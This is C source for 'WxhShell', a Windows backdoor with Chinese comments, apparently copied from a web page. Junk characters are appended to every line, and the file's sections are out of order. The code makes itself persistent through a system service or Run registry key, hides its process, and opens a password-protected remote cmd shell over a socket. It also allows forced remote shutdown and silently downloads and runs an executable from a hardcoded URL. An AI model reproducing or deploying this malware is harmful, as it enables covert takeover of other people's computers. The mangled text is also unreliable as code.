  case 'd': { JnDR(s4(E  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); E?uv&evPK7  
    if(Boot(SHUTDOWN)) CjGI}t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A )cb  
    else { HZ3<}`P_W  
    closesocket(wsh); i1C'  
    ExitThread(0); <0m;|Ai'W  
    } R?Qou!*]  
    break; Kw|`y %~  
    } ZlzFmNe60  
  // 获取shell d mO|PswW  
  case 's': { v5o%y:~  
    CmdShell(wsh); {Xj%JE[V  
    closesocket(wsh); O{V"'o  
    ExitThread(0); qDW/8b\^  
    break; edQ><lz  
  } jG#sVK]  
  // 退出 y6oDbwke  
  case 'x': { i747( ^  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); iDsjIW\j  
    CloseIt(wsh); 9^tyjX2  
    break; {PKER$C  
    } \!3='~2:=o  
  // 离开 j3>< J  
  case 'q': { o%a$m9I  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 3'wBX  
    closesocket(wsh); <PxEl4  
    WSACleanup(); QZfnoKz  
    exit(1); h! <8=V(  
    break; q'q{M-U<  
        } 5cU8GgN`  
  } g2I@j3  
  } :>k\uW  
Sy_M!`B  
  // 提示信息 7vFqO;  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;1nd~0o  
} q,GL#L  
  } )r~Oj3TH  
oS4ag  
  return; va0 a4s1O  
} e+mD$(h  
+j,;g#d  
// shell模块句柄 Syk^7l  
int CmdShell(SOCKET sock) nL? B  
{ Xqy{=:0  
STARTUPINFO si; -]e@cevy  
ZeroMemory(&si,sizeof(si)); jv ";?*I6.  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `xSXGI  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 0/Csc\Xl  
PROCESS_INFORMATION ProcessInfo; cQny)2k*x  
char cmdline[]="cmd"; /[OMpP  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); OX"`VE  
  return 0; R+\5hI@ >i  
} };*5+XY^  
]%."  
// 自身启动模式 <bH>\@p7}  
int StartFromService(void) Z& %61jGK  
{ 3-05y!vbcE  
typedef struct +vP1DXtj(  
{ w%ForDB>P  
  DWORD ExitStatus; D+V^nCcx%  
  DWORD PebBaseAddress; 8Y9mB #X  
  DWORD AffinityMask; 7"NUof?i  
  DWORD BasePriority; 7j Q`i;L}Y  
  ULONG UniqueProcessId; l},%g%}iMU  
  ULONG InheritedFromUniqueProcessId; p82qFzq#  
}   PROCESS_BASIC_INFORMATION; i=ba=-"Mt  
]O[f#lG  
PROCNTQSIP NtQueryInformationProcess; sYz:(hZS  
xASj w?  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; xiI!_0'  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; i[<O@Rb  
6Z$T& Ul{  
  HANDLE             hProcess; W +S>/`N  
  PROCESS_BASIC_INFORMATION pbi; k`-L5#`  
w*+rBp,f  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [# _ceg1G  
  if(NULL == hInst ) return 0; ()r DM@  
| 8AH_Fk  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); AA66^/t  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); p7*\]HyE)  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); by {~gu  
\rpu=*gt  
  if (!NtQueryInformationProcess) return 0; $j:0*Z=>  
JwO+Dd  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _]\mh,}  
  if(!hProcess) return 0; ,=mn*  
43eGfp'  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; gnv4.f:  
GXAcy OV  
  CloseHandle(hProcess); Uz0mSfBp  
G -;Yua2\  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ]?kf;A@  
if(hProcess==NULL) return 0; ':Te#S  
Cc^t&Eg  
HMODULE hMod; Po2YDj`  
char procName[255]; !} 1p:@  
unsigned long cbNeeded; .(sT?M`\J  
(i`DUF'#y  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Eb.{M  
MG~^>  
  CloseHandle(hProcess);  I{E10;  
y]Y)?])  
if(strstr(procName,"services")) return 1; // 以服务启动 $oNkE  
!v^D j']  
  return 0; // 注册表启动 K1Tzy=Z9j  
} os>|LPv4  
9TF[uC)-2  
// 主模块 QoqdPk#1  
int StartWxhshell(LPSTR lpCmdLine) htaB! Q?V  
{ k,r\^1h  
  SOCKET wsl; (\Dd9a8V-  
BOOL val=TRUE; .G^ .kg ,  
  int port=0; Cc=`:ED+  
  struct sockaddr_in door; 9 Hm!B )Y  
Jzr(A^vwo  
  if(wscfg.ws_autoins) Install(); U $+rlw}  
l_8t[  
port=atoi(lpCmdLine); s?=J#WV1y  
,3^N_>d$W  
if(port<=0) port=wscfg.ws_port; Tj>~#~  
i$ Zhk1  
  WSADATA data; Xdjxt?*  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; *bZV4}  
!D1F4v[c=  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   RY*6TYX!  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); I3SLR  
  door.sin_family = AF_INET; gSP|;Gy  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); kcQ |Zg  
  door.sin_port = htons(port); r:u5+A  
JK_sl>v.7  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Q<"zpwHR  
closesocket(wsl); f$P pFSY4  
return 1; g6N{Z e Wg  
} w7O(I"  
D[U5SS!)  
  if(listen(wsl,2) == INVALID_SOCKET) { ;'nu9FU*O  
closesocket(wsl); ?bbguwo~F  
return 1; IH{g-#U  
} dLv\H&  
  Wxhshell(wsl); = uOFaZ4  
  WSACleanup(); 0`_Gj{:L  
6N]v9uXZ  
return 0; ^oA^z1>3  
Ij#?r2Z%  
} lT*Hj.  
%GAEZH,2sG  
// 以NT服务方式启动 n2$*Z6.G  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) S9mj/GpL3  
{ e\/Lcng  
DWORD   status = 0; 6tP^_9njy  
  DWORD   specificError = 0xfffffff; iA=9Lel  
Nn%{K a  
  serviceStatus.dwServiceType     = SERVICE_WIN32; +f|u5c  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; +`\C_i-  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 8on2 BC2  
  serviceStatus.dwWin32ExitCode     = 0; p7 |~x@q+  
  serviceStatus.dwServiceSpecificExitCode = 0; :U?Kwv8s  
  serviceStatus.dwCheckPoint       = 0; Q~uj:A]n<  
  serviceStatus.dwWaitHint       = 0; G:f]z;Xdp  
o-/Xa[yC  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ]{dg"J  
  if (hServiceStatusHandle==0) return; "Sl";.   
3 bGpK9M~  
status = GetLastError(); 2c}>} A4  
  if (status!=NO_ERROR) MA"DP7e?v  
{ _t3n<  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; I,.>tC  
    serviceStatus.dwCheckPoint       = 0; w${=]h*2  
    serviceStatus.dwWaitHint       = 0; Cvq2UNz(R  
    serviceStatus.dwWin32ExitCode     = status; "M2HiV  
    serviceStatus.dwServiceSpecificExitCode = specificError; 8j8FQ!M  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3TO$J  
    return; !x|Ok'izDL  
  } *y7^4I-J  
<0pBu7a  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; O7:JG[tR*  
  serviceStatus.dwCheckPoint       = 0; Haiuf)a  
  serviceStatus.dwWaitHint       = 0; #m|AQr|  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 6f0 WN  
} NO"=\Zn6  
%KRAcCa7  
// 处理NT服务事件,比如:启动、停止 Vhv<w O Ct  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ]{Iy<  
{ Z&YW9de@  
switch(fdwControl) u|APx8?"o  
{ N }Z"$4  
case SERVICE_CONTROL_STOP: {B uh5U,  
  serviceStatus.dwWin32ExitCode = 0; $5|/X&"O)/  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; D24@lZ`g~  
  serviceStatus.dwCheckPoint   = 0; YWjw`,EA(  
  serviceStatus.dwWaitHint     = 0; $Y 7q2  
  { < JA5.6<=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Bxak[>/  
  } \,lgv  
  return; r0}Z&>]66N  
case SERVICE_CONTROL_PAUSE: E[^66(KR  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; :Q"]W!kCs  
  break; W8R@Pf  
case SERVICE_CONTROL_CONTINUE: _G,`s7Q,w  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; MHk\y2`/;  
  break; X5'foFE'  
case SERVICE_CONTROL_INTERROGATE: T/UhZ4(V  
  break; r( :"BQ  
}; r@^h,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5q}680s9+  
} u:NSPAD)  
UVA|(:  
// 标准应用程序主函数 D8qZh1w%A|  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 5&\Q0SX(~  
{ #8QQZdC8`  
#GY;.,  
// 获取操作系统版本 P$4G2>D8dg  
OsIsNt=GetOsVer(); n ;y<!L7  
GetModuleFileName(NULL,ExeFile,MAX_PATH); v|"Nx42  
rx CSs  
  // 从命令行安装 ) j_g*<  
  if(strpbrk(lpCmdLine,"iI")) Install(); A9!%H6  
7;+:J;xf66  
  // 下载执行文件 a3sXl+$D@  
if(wscfg.ws_downexe) { a>G|t5w  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) s -~Tf|  
  WinExec(wscfg.ws_filenam,SW_HIDE); -!k"*P  
} vn9_tL&  
hj4Kv  
if(!OsIsNt) { u+~Ta  
// 如果时win9x,隐藏进程并且设置为注册表启动 p{[Ol  
HideProc(); D<]z.33  
StartWxhshell(lpCmdLine); -P^ 6b(  
} nPD5/xW  
else rB~x]5TH  
  if(StartFromService()) 6$lj$8\  
  // 以服务方式启动 4&2aJ_ 2 y  
  StartServiceCtrlDispatcher(DispatchTable); &+u) +<&;(  
else hqmKUlo  
  // 普通方式启动 ]2+7?QL,  
  StartWxhshell(lpCmdLine); |Qo;=~7  
^Bf@ I  
return 0; VZ 5EV'D8!  
} j ~:Dr   
m$Lq#R={Z  
rfpeX   
m(L]R(t  
===========================================  LkD$\i  
OEnJ".&V  
7aj|-gZ  
M1^,g~e  
)4vZIU#  
|X,T>{V?y  
" lED-Jo2  
h/j+ b.|  
#include <stdio.h> DDsU6RyN  
#include <string.h> VPx"l5\  
#include <windows.h> M}kt q)  
#include <winsock2.h> ,W;\6"Iwx'  
#include <winsvc.h> w O;\,zU  
#include <urlmon.h> :,X,!0pWRp  
&9g4/c-?$  
#pragma comment (lib, "Ws2_32.lib") k4FxdX  
#pragma comment (lib, "urlmon.lib") u[$ \ az7  
+1zCb=;!{  
#define MAX_USER   100 // 最大客户端连接数 ! ~u;CMR  
#define BUF_SOCK   200 // sock buffer NpG5$?  
#define KEY_BUFF   255 // 输入 buffer ],YIEOx6  
-K9bC3H  
#define REBOOT     0   // 重启 jO)UK.H#  
#define SHUTDOWN   1   // 关机 &`[y]E'  
</ 3 Shq  
#define DEF_PORT   5000 // 监听端口 ]([:"j  
4mq+{c0  
#define REG_LEN     16   // 注册表键长度 2"*7H S  
#define SVC_LEN     80   // NT服务名长度 \$n?J(N  
YKk?BQ"  
// 从dll定义API  c %w h  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); /ldE (!^n  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); dq}60  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); fOs"\Y4  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ?4GI19j  
xL,Lb}){%  
// wxhshell配置信息 ^R',P(@oL  
struct WSCFG { -]\cUQ0  
  int ws_port;         // 监听端口 (\}>+qS[  
  char ws_passstr[REG_LEN]; // 口令 ^|M\vO  
  int ws_autoins;       // 安装标记, 1=yes 0=no TO7%TW{L  
  char ws_regname[REG_LEN]; // 注册表键名 @.T(\Dq^  
  char ws_svcname[REG_LEN]; // 服务名 `OO=^.-u  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 @5+ JXD  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ]:m>pI*z.  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 eY^;L_7}p  
int ws_downexe;       // 下载执行标记, 1=yes 0=no MQ>.^]B]o  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" {_t i*#  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ">PpC]Y1  
phr6@TI  
}; #K:|@d  
uKHkC.g  
// default Wxhshell configuration GP6-5Y"8  
struct WSCFG wscfg={DEF_PORT, }JyWy_Y  
    "xuhuanlingzhe", m&(yx| a4+  
    1, `KBgVhS>  
    "Wxhshell", OoL#8R  
    "Wxhshell", STmn%&  
            "WxhShell Service", I%.KFPV  
    "Wrsky Windows CmdShell Service", (ds-p[`[m  
    "Please Input Your Password: ", oace!si  
  1, ZWH?=Bk:  
  "http://www.wrsky.com/wxhshell.exe", W&23M26"{  
  "Wxhshell.exe" F[uy'~;@  
    }; |y=;#A  
W!|A3V35\:  
// 消息定义模块 pcwkO  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; mVFz[xI  
char *msg_ws_prompt="\n\r? for help\n\r#>"; $xqI3UaX  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <Hw)},_*  
char *msg_ws_ext="\n\rExit."; %"Tn=fZIF  
char *msg_ws_end="\n\rQuit."; 'wB6-  
char *msg_ws_boot="\n\rReboot..."; 7A'd55I4  
char *msg_ws_poff="\n\rShutdown..."; rV.04m,  
char *msg_ws_down="\n\rSave to "; 04>dxw)8  
<$!^LKKzA  
char *msg_ws_err="\n\rErr!"; !pY=\vK;  
char *msg_ws_ok="\n\rOK!"; cz<8Kb/XV  
NfqJ>[}I+  
char ExeFile[MAX_PATH]; GjlA\R^e  
int nUser = 0; Ba==Ri8$  
HANDLE handles[MAX_USER]; &iCE/  
int OsIsNt; C;7?TZ&xw  
z'N_9=  
SERVICE_STATUS       serviceStatus; ~^jdiy5  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; .1R:YNx{/  
^M36=~j  
// 函数声明 0ant0<  
int Install(void); Fr/3Qp@S  
int Uninstall(void); O9y4.`a"  
int DownloadFile(char *sURL, SOCKET wsh); Vp{e1xpY  
int Boot(int flag);  Khd"  
void HideProc(void); (`h$+p^-y  
int GetOsVer(void); *{/ ww9fT  
int Wxhshell(SOCKET wsl); q2v:lSFY  
void TalkWithClient(void *cs); + <AD  
int CmdShell(SOCKET sock); 3J t_=!qlo  
int StartFromService(void); \z>Re$:  
int StartWxhshell(LPSTR lpCmdLine); q0|u vt"  
GCSR)i|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); r~ gjn`W  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); R'bmE:nL  
I L dRN  
// 数据结构和表定义 5c50F{  
SERVICE_TABLE_ENTRY DispatchTable[] = i oCoFj  
{ Fr{u=0 X  
{wscfg.ws_svcname, NTServiceMain}, n^<3E; a  
{NULL, NULL} u;1/.`NPB  
}; V/w:^@5+p  
~<b/%l>h1  
// 自我安装 O 1T JJ8  
int Install(void) D4 {?f<G0F  
{ "JI FF_  
  char svExeFile[MAX_PATH]; 5)X;q-  
  HKEY key; aRFLh  
  strcpy(svExeFile,ExeFile);  !]]QbB  
S |SN3)  
// 如果是win9x系统,修改注册表设为自启动 IHqY/j  
if(!OsIsNt) { +-_71rJc.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -"J6 |Y#8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ="E^9!  
  RegCloseKey(key); u{Jv6K,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { cI}qMc  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); O^fg~g X  
  RegCloseKey(key); 8\,|T2w,X  
  return 0; A)9[.fhx  
    } yKE[,"  
  } ,>"rcd  
} ,#=ykg*~/  
else { kO3{2$S6  
.yz-o\,gF%  
// 如果是NT以上系统,安装为系统服务 Jh1Q)05  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Ki#({~  
if (schSCManager!=0) Hg8n`a;R  
{ F O"8B  
  SC_HANDLE schService = CreateService zh5'oE&[yC  
  ( dre@V(\;hQ  
  schSCManager, X r7pFw  
  wscfg.ws_svcname, m)G=4kK52-  
  wscfg.ws_svcdisp, RQ?T~ASs  
  SERVICE_ALL_ACCESS, /18Z4TA  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , R#j -Z#/"  
  SERVICE_AUTO_START, rMDo5Z2  
  SERVICE_ERROR_NORMAL, 2+KOUd&jS  
  svExeFile, <~aQ_l  
  NULL,  _@es9  
  NULL, K:}~8 P>^  
  NULL, Be"Swz(n  
  NULL, QuuR_Ao?c'  
  NULL BR8W8nRb  
  ); $HjKELoJ<  
  if (schService!=0) ?Y6MC:l<  
  { om3$=  
  CloseServiceHandle(schService); -rE_pV;  
  CloseServiceHandle(schSCManager); =n $@  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); uP,{yna(  
  strcat(svExeFile,wscfg.ws_svcname); s|3@\9\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ]8,:E ]`O  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); B35zmFX|}N  
  RegCloseKey(key); 9G8n'jWyY  
  return 0; _4E . P  
    } W}+f}/&l  
  } .<`W2*1  
  CloseServiceHandle(schSCManager); x+~IXi>Ig  
} |12Cg>;j*n  
} U3SF'r8  
">b~k;M?  
return 1; >FtW~J"X  
} bkmW[w:M  
}z/;^``  
// 自我卸载 HnvE\t9`  
int Uninstall(void) 1_JxDT,=>  
{ wg6![Uh  
  HKEY key; Lo, z7"8  
hK=\O)  
if(!OsIsNt) {  ESOuDD2<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <0[{Tn  
  RegDeleteValue(key,wscfg.ws_regname); <:#O*Y{  
  RegCloseKey(key); *SkUkqP9z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { gv=mz,z  
  RegDeleteValue(key,wscfg.ws_regname); '& L;y  
  RegCloseKey(key); x' Z<  
  return 0; b XcDsP$.  
  } bS 'a)  
} D;bQ"P-m47  
} jRz2l`~7#  
else { c"ukV_6~J  
75Xi%mlE7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); XQEGMaZ  
if (schSCManager!=0) ]+\@_1<ZI  
{ /BWJ)6#H  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); MWSx8R)PN  
  if (schService!=0) ?f+w:FO  
  { 3Rid 1;L0U  
  if(DeleteService(schService)!=0) { OHnHSb'?\  
  CloseServiceHandle(schService); $cO"1mu  
  CloseServiceHandle(schSCManager); aubmA0 w  
  return 0; <}pwFl8C)  
  } % '>S9Ja3  
  CloseServiceHandle(schService); 7I;Give{  
  } 66\0JsT?3  
  CloseServiceHandle(schSCManager); #8;|_RU  
} {8M=[4_`l  
} 7e&R6j  
Oq{&hH/'}  
return 1; 9IL#\:d1  
} p},6W,f  
iKB8V<[\T  
// 从指定url下载文件 +Q, 0kv  
int DownloadFile(char *sURL, SOCKET wsh) LV:oNK(  
{ IY|;}mIF  
  HRESULT hr; W5-p0,?[6  
char seps[]= "/"; @aR!  -}  
char *token; 02X~' To"  
char *file; *AXu_^^  
char myURL[MAX_PATH]; a/+tsbw  
char myFILE[MAX_PATH]; k4_Fn61J/  
-B2>~#L  
strcpy(myURL,sURL); cOUsbxYTD  
  token=strtok(myURL,seps); u(JC 4w'  
  while(token!=NULL) 52B ye   
  { * [*#cMZ   
    file=token; 6G"AP~|0  
  token=strtok(NULL,seps); *BVkviqxz  
  } iV#JJ-OBq  
sm}q&m]ad  
GetCurrentDirectory(MAX_PATH,myFILE); {+f@7^/i.  
strcat(myFILE, "\\"); Df;FOTTi%  
strcat(myFILE, file); HzB&+c? Z  
  send(wsh,myFILE,strlen(myFILE),0); 76[aOC2Ad  
send(wsh,"...",3,0); /_rAy  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); dQ^>,(  
  if(hr==S_OK) Uq)|]a&e  
return 0; 3+m#v8h1  
else c1wM"  
return 1; aKaqi}IT  
".| 9h  
} >]"5K<-1  
~Dr/+h:^\  
// 系统电源模块 c=H(*#  
int Boot(int flag) VL"ZC:n)-  
{ sSOI5W3A  
  HANDLE hToken; +-,Q>`  
  TOKEN_PRIVILEGES tkp; IoNZ'g?d  
T3['6%  
  if(OsIsNt) { 3y>.1  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); , j ,[4^  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); >H@ dgb  
    tkp.PrivilegeCount = 1; }M f}gCEW  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; I"3Qdi  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ?)Lktn9%  
if(flag==REBOOT) { TJ`E/=J!  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) hC}A%_S  
  return 0; ^BjwPh4Z#  
}  DVD}  
else { ~!]FF}6  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :<%K6?'@^  
  return 0; mBc;^8I?23  
} ,KkENp_  
  } wpY%"x#-+=  
  else { .CI]8O"3y  
if(flag==REBOOT) { G5zZf ~r  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ksY^w+>(!  
  return 0; -w 2!k  
} ezlp~z"_k  
else { 5@j?7%_8  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) @okC":Fw,  
  return 0; .eXIbd<C  
} Q" VFcp:  
} >U"f1q*$  
? $pGG  
return 1; %xLziF  
} +d\"n  
c R$2`:e  
// win9x进程隐藏模块 BmUEo$w  
void HideProc(void) 4cJ^L <  
{ 9`.b   
KBzEEvx/$  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 6luCi$bL  
  if ( hKernel != NULL ) )QaJYC^+  
  { m*P~X*St  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 9R>A,x(  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); /j -LW1:N  
    FreeLibrary(hKernel); i1vBg}WHN  
  } o&*1Mx<+  
N&S :=x:$S  
return; 3w {4G<I  
} 3-32q)8  
&4"(bZ:LO  
// 获取操作系统版本 Q( AOKp,F  
int GetOsVer(void) nP'ab_>b  
{ <3HW!7Ad1  
  OSVERSIONINFO winfo; zDa*n:S  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); w[PW-m^`  
  GetVersionEx(&winfo); h'UWf"d  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) oX3Q9)  
  return 1; xi;SKv;p  
  else z^~uq:  
  return 0; p(nC9NGB  
} - K}@Gp  
+?MjY[8j  
// 客户端句柄模块 QEUg=*3W=  
int Wxhshell(SOCKET wsl) } 5OlX  
{ Podm 3b  
  SOCKET wsh; 4s`*o/it  
  struct sockaddr_in client; XPUH\I=  
  DWORD myID;  +aP %H  
"5XD+qi  
  while(nUser<MAX_USER) ,n &|+&  
{ 4x8mJ4[H^  
  int nSize=sizeof(client); e[915Q_  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); sXoBw.^Ir_  
  if(wsh==INVALID_SOCKET) return 1; 2c0eh-Gf  
_}jj>+zA`  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); a+\ Gz  
if(handles[nUser]==0) ~<v`&Gm?"  
  closesocket(wsh); M%&`&{  
else }kL% l  
  nUser++; _sZ/tU@_-K  
  } F1Egcx/$V  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); t47 f$gq  
34JkB+#a  
  return 0; c)@M7UK[  
} Vl^jTX5N  
5I T'u3V  
// 关闭 socket B HZGQm  
void CloseIt(SOCKET wsh) s}|IRDpp  
{ o>U%3-+T^J  
closesocket(wsh); w^R5/#F_r  
nUser--; =*Wl;PI'  
ExitThread(0); XZp(Po:H  
} ( }JX ]-  
22tY%Y9  
// 客户端请求句柄 U0jq.]P  
void TalkWithClient(void *cs) BAoqO Xv  
{ ?H*_:?=6  
ODv)-J  
  SOCKET wsh=(SOCKET)cs; 1Lj\"+.  
  char pwd[SVC_LEN]; )}G HG#D{  
  char cmd[KEY_BUFF]; !3yR?Xem}  
char chr[1]; Qg9{<0{u  
int i,j; _?q\tyf3  
?A62VV51CN  
  while (nUser < MAX_USER) { G-"#3{~2  
Fdc bmQ  
if(wscfg.ws_passstr) { 1`aFL5[0$  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'ARQ7 Q[`  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `;cKN)Xk  
  //ZeroMemory(pwd,KEY_BUFF); A*\4C3a'%  
      i=0; V3@^bc!   
  while(i<SVC_LEN) { y0(k7D|\  
D\* raQ`n  
  // 设置超时 c$uV8_V  
  fd_set FdRead; %K ]u"  
  struct timeval TimeOut; <YJU?G:@  
  FD_ZERO(&FdRead); IHxX:a/iv  
  FD_SET(wsh,&FdRead); 9SAyU%mS:  
  TimeOut.tv_sec=8; Pq7YJ"Z?:  
  TimeOut.tv_usec=0; LgUaX  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); !\|&E>Gy  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); |":^3  
b.Y[:R_9&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [gv2fqpP  
  pwd=chr[0]; n4Q!lJ  
  if(chr[0]==0xd || chr[0]==0xa) { uY "88|  
  pwd=0; .6vQWt7@  
  break; PFEi=}Y@((  
  } BIcE3}dS8  
  i++; b GwLfU  
    } /tt  
aK1|b=gVj  
  // 如果是非法用户,关闭 socket Lk3@E u)  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (''`Ce  
} 3QV|@5L`[  
.'.|s?s  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); >DbG$V<v'  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;Rwr5  
Z71"d"  
while(1) { yRvq3>mU  
OSkZW  
  ZeroMemory(cmd,KEY_BUFF); (#Y2H  
R_@yj]%H=  
      // 自动支持客户端 telnet标准   (5G^"Srw  
  j=0; @9vz%1B<l  
  while(j<KEY_BUFF) { e j!C^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1Ete;r%5=  
  cmd[j]=chr[0]; Pi+,y  
  if(chr[0]==0xa || chr[0]==0xd) { "F%cn@l  
  cmd[j]=0; vRT1tOQ$  
  break; e?Cbl'  
  } (V e[FhA  
  j++; =BX<;vU  
    } QKOo # 7  
7J>n;8{%?  
  // 下载文件 lZ_i~;u4@v  
  if(strstr(cmd,"http://")) { 37lmB '~  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); pazFVzT  
  if(DownloadFile(cmd,wsh)) KtV_DjH:  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3s>& h-E  
  else r."Dc  
